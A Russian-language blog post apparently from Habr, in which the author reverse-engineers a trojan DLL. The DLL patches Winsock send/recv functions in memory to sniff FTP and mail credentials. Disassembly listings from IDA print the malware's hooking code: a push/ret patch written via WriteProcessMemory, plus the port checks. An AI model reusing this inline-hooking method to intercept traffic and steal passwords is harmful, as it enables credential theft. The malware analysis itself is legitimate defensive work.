Потомок «нецензурного» трояна или как воруют пароли на FTP.

habr.com/ru/post/27053/

Владимир Мартьянов

Вчера я разбирал «нецензурный» троян (http://vilgeforce.habrahabr.ru/blog/44130.html), а сегодня разделываю его потомка — ftp34.dll. Эта тваринка, кстати, куда как интереснее подавляющего большинства троянов. Хотя бы тем, что ворует информацию не с диска, а прямо из сетевого траффика. Как? Смотрите под кат.

В первой серии был почти до конца разобран один из компонентов комплекса «Троян Залупко». Он дропал на диск файл ftp34.dll и загружал его при помощи LoadLibrary. Причем это происходило при каждой активации трояна.

ftp34.dll — файл размером 4608 байт, упакован UPX, поэтому в Linux (я дома в линухе) распаковывается за 5 секунд. Распакованный файл весит 7608 байт. DLL, как и ее дроппер, использует тот же принципи шифрования строк — XOR одним байтом, код функции тот же. Скрипт для IDA пишется за минуту.
IDA заботливо свернула код точки входа, переместив курсор на DllMain. В DllMain проверяется причина вызова: если производится загрузка библиотеки выполняются одни действия, если выгрузка — другие. Так как call'ов для выгрузки было меньше, начал с этого куска. В продуре Detach (назовем ее так) — странный код:

```
.text:10001D2F push eax; lpNumberOfBytesWritten
.text:10001D30 push 6; nSize
.text:10001D32 push offset unk_1001213C; lpBuffer
.text:10001D37 push lpBaseAddress; lpBaseAddress
.text:10001D3D push 0FFFFFFFFh; hProcess
.text:10001D3F call ds:WriteProcessMemory
```

и повторяется он 4 раза. Если я ничего не путаю, то hProcess равный -1 означает запись в свое же собственное адресное пространство. Беглый анализ ссылок на адреса буфера для чтения и для записи показал, что DLL довольно активно читает/пишет в них при помощи Read/WriteProcessMemory. Открытый вопрос «Зачем?» оставлю на потом.

Действия при загрузке

Как и свой «родитель», эта библиотека подготавливает строки, содержащие пути к нужным файлам: %TEMP%\r43q34.tmp и %TEMP%\mpz.tmp. Присутствие в системе других экземпляров библиотеки определяется при помощь мьютекса, и если его нет, создается поток Thread1. Имена мьютексов я не привожу, ибо сомневаюсь, что кто-то будет проверять систему на их наличие :-) Теперь — самое интересное! Библиотека ПАТЧИТ функции Windows Sockets в памяти. Как это происходит? Вот код:

```
.text:10001B72 push 4; int
.text:10001B74 push offset aSw676Hh; «ws2_32.dll»
.text:10001B79 call decryptXor
.text:10001B7E pop ecx
.text:10001B7F pop ecx
.text:10001B80 push eax; lpModuleName
.text:10001B81 call ds:GetModuleHandleA; Получаем хэнд ws2_32.dll
.text:10001B87 mov [ebp+ws2_32handle], eax
.text:10001B8A push 5; int
.text:10001B8C push offset aWFs; «recv»
.text:10001B91 call decryptXor
.text:10001B96 pop ecx
.text:10001B97 pop ecx
.text:10001B98 push eax; lpProcName
.text:10001B99 push [ebp+ws2_32handle]; hModule
.text:10001B9C call ds:GetProcAddress; Получаем адрес функции recv
.text:10001BA2 mov recvAddr, eax
.text:10001BA7 lea eax, [ebp+NumberOfBytesWritten]
.text:10001BAA push eax; lpNumberOfBytesRead
.text:10001BAB push 6; nSize
.text:10001BAD push offset originalCode; lpBuffer
.text:10001BB2 push recvAddr; lpBaseAddress
```

.text:10001BB8 push 0FFFFFFFFh; hProcess
.text:10001BBA call ds:ReadProcessMemory; Читаем в буфер originalCode первые 6 байт функции recv
.text:10001BC0 mov HookCode, 68h; В буфер, записываемый в начало recv() помещаем опкод команды push
.text:10001BC7 mov dword ptr HookCode+1, offset newRecv; Следом за push — адрес нашего нового обработчика
.text:10001BD1 mov HookCode+5, 0C3h; И теперь RET
.text:10001BD8 lea eax, [ebp+NumberOfBytesWritten]
.text:10001BDB push eax; lpNumberOfBytesWritten
.text:10001BDC push 6; nSize
.text:10001BDE push offset HookCode; lpBuffer
.text:10001BE3 push recvAddr; lpBaseAddress
.text:10001BE9 push 0FFFFFFFFh; hProcess
.text:10001BEB call ds:WriteProcessMemory; Пишем нашу вставку на начало recv(). Дело сделано!

Увы, получился он куда как менее читаемым, нежели в IDA :-(Вкратце: получили адрес нужной функции. Считали с этого адреса 6 байт, подготовили буфер с кодом

```
push offset myRecv
ret
```

и записали его в начало перехватываемой процедуры. Комбинация push-ret — переход на нужный нам адрес не совсем очевидным способом. Перехватываются следующие функции: recv(), WSARecv(), WSASend(), send(). Теперь стало ясно, что такое пишется в память при выгрузке DLLки: это восстанавливается оригинальный код перехватываемых функций. Остался главный вопрос — как передается управление на оригинальные функции? И что же с Thread1? Она устанавливает свой обработчик (который, кстати, ничего криминального не далет) при помощи SetWindowsHookEx. Зачем? Точно не знаю… Но да это, думаю, не важно.

Функции перехватчиков

У всех перехватчиков много общего: это короткие процедуры, содержащие, грубо говоря, только 2 вызова. Первый вызов одинаков для перехватчиков send() и WSASend(), а второй — для recv() и WSARecv(), то есть разделение по функционалу. Назову эти две функции HookSend и HookRecv соответственно. Второй вызов в перехватчиках разный, это вызов функции, которая патчит перехватываемые функции до исходного состояния, вызывает их, а потом патчит в вариант с перехватчиком. Функции HookSend() и HookRecv() получают три параметра — сокет, буфер и длину. Начальный код тоже совпадает: получаем адрес, к которому подключен сокет, преобразовываем этот адрес в строку, а также переводит адрес из сетевого порядка следования байт в хостовый. Тут возникает не совсем понятный мне момент:

```
.text:100015CA push [ebp+s]; s
.text:100015CD call ds:getpeername
.text:100015D3 push dword ptr [ebp+name.sa_data+2]; in
.text:100015D6 call ds:inet_ntoa
.text:100015DC push eax; Source
.text:100015DD push offset byte_10011C10; Dest
.text:100015E2 call strcpy
.text:100015E7 pop ecx
.text:100015E8 pop ecx
.text:100015E9 push dword ptr [ebp-12h]; netshort
.text:100015EC call ds:ntohs
.text:100015F2 movzx eax, ax
.text:100015F5 cmp eax, 25
.text:100015F8 jnz short loc_10001607
```

s — сокет. Не понимаю, как мы после вызова ntohs в ax получаем порт? Или там действительно порт будет и я плохо доки читал? В общем, интуиция и знакомые числа (25, 80, 110 :-) подсказали, что идет проверка порта, к которому осуществлен коннект. Для приема перехватывается траффик по следующим портам: 25, 80, 110. Для передачи: 25, 80, 21. Причем траффик 21-го порта обрабатывается как-то хитро. Передача по 80-му порту, похоже, вносит некоторые изменения в траффик: если в передаваемых данных встречается строка «gzip,», то она будет заменена на 5 байт с кодом 0x6E («n»). Зачем? Не знаю… На этот момент не разобранными остались только процедуры поиска в передаваемых данных паролей на FTP и почтовых адресов, а также записи этого добра в файлы. Строк для воровства почтовых паролей не видно, равно как и кода, отправлящего собранную информацию по сети. Для этого, наверное, есть свои компоненты.

Если такая зараза получит распространение, то никакие рекомендации от Пинча типа «Не хранить пароли на дисках» не помогут. Остается только переход на шифрованные каналы связи. Но учитывая перехват всего траффика это, думаю, слабо поможет :-(

Что мне во всем этом не ясно и странно:
1) WriteProcessMemory использует в качестве хэндла -1. Почему сомневаюсь, что перехвачены будут вызовы для всех приложений.
2) Зачем применяется SetWindowsHookEx?
3) Обнаруживается ли активность трояна поведенческими анализаторами? И вообще хоть каким-нибудь софтом (кроме сигнатурного поиска).
4) Откуда столько людей узнают про мой пост? Меня читает, насколько я знаю, меньше 10 человек :-D

Время на анализ — около 2 часов (попутно отвечая на комменты). Инструменты — UPX + IDA Pro + OllyDbg (можно было и без него), голова с мозгами.